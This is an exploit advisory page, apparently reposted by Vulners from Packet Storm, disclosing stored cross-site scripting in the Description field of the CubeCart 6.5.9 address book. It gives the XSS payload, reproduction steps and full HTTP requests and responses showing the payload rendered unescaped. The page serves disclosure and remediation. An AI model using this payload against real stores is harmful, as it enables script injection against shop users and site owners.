Lucene search
K

📄 Cubecart 6.5.9 Cross Site Scripting

🗓️ 20 May 2025 00:00:00Reported by Andrey StoykovType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 93 Views

Stored cross site scripting in CubeCart 6.5.9 Description field via address book edit.

Code
# Exploit Title: Stored XSS in "Description" Functionality - cubecartv6.5.9
    # Date: 05/2025
    # Exploit Author: Andrey Stoykov
    # Version: 6.5.9
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    
    Stored XSS #1:
    
    Steps to Reproduce:
    
    1. Visit "Account" > "Address Book" and choose "Edit"
    2. In the "Description" parameter enter the following payload
    <iframe><textarea></iframe><img src="" onerror="alert(document.domain)">
    
    
    // HTTP POST Request
    
    POST /cubecart/index.php?_a=addressbook&action=edit&address_id=1 HTTP/1.1
    Host: 192.168.58.186
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0)
    Gecko/20100101 Firefox/139.0
    [...]
    
    ------geckoformboundary6f5a64973a1e97b9d4b5c2a0d79601a6
    Content-Disposition: form-data; name="description"
    
    <iframe><textarea></iframe><img src="" onerror="alert(document.domain)">
    ------geckoformboundary6f5a64973a1e97b9d4b5c2a0d79601a6
    Content-Disposition: form-data; name="title"
    [...]
    
    
    // HTTP Response
    
    HTTP/1.1 302 Found
    Date: Sun, 18 May 2025 12:16:17 GMT
    Server: Apache/2.4.56 (Unix) OpenSSL/1.1.1t PHP/8.2.4 mod_perl/2.0.12
    Perl/v5.34.1
    X-Frame-Options: SAMEORIGIN
    X-Powered-By: PHP/8.2.4
    X-Frame-Options: SAMEORIGIN
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    [...]
    
    
    // HTTP GET Request
    
    GET /cubecart/index.php?_a=addressbook HTTP/1.1
    Host: 192.168.58.186
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0)
    Gecko/20100101 Firefox/139.0
    [...]
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sun, 18 May 2025 12:16:41 GMT
    Server: Apache/2.4.56 (Unix) OpenSSL/1.1.1t PHP/8.2.4 mod_perl/2.0.12
    Perl/v5.34.1
    X-Frame-Options: SAMEORIGIN
    X-Powered-By: PHP/8.2.4
    X-Frame-Options: SAMEORIGIN
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Set-Cookie: CC_1349B74620=k6fd07i7h211fg1d69p5mvkuru;Expires=Monday,
    19-May-2025 12:16:41 UTC;Domain=.192.168.58.186;Path=/cubecart;HttpOnly
    Vary: Accept-Encoding
    Content-Length: 42139
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
    
    [...]
    <div class="small-12 columns"><h5><a
    href="?_a=addressbook&action=edit&address_id=1"><iframe><textarea></iframe><img
    src="" onerror="alert(document.domain)"></a></h5></div>
    [...]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 May 2025 00:00Current
6.6Medium risk
Vulners AI Score6.6
93